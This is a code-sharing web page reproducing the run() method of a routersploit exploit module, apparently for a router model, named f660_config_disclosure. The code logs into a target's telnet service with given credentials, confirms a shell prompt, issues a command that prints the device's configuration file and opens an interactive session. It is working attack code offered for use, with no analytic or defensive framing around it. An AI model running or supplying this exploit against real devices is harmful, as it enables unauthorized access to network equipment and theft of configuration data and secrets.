f660_config_disclosure.py 文件源码

python
阅读 18 收藏 0 点赞 0 评论 0

项目:routersploit 作者: reverse-shell 项目源码 文件源码
def run(self):
        try:
            print_status("Trying to authenticate to the telnet server")
            tn = telnetlib.Telnet(self.target, 23, timeout=10)
            tn.expect(["Login: ", "login: "], 5)
            tn.write(self.username + "\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(self.password + "\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print_error("Exploit failed")
            else:
                if any(map(lambda x: x in res, ["#", "$", ">"])):
                    print_success("Authentication successful")
                    print_status("Displaying configuration file:")
                    tn.write(self.config + "\r\n")
                    tn.interact()
                else:
                    print_error("Exploit failed")

            tn.close()
        except Exception:
            print_error("Connection error: {}:{}".format(self.target, 23))
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号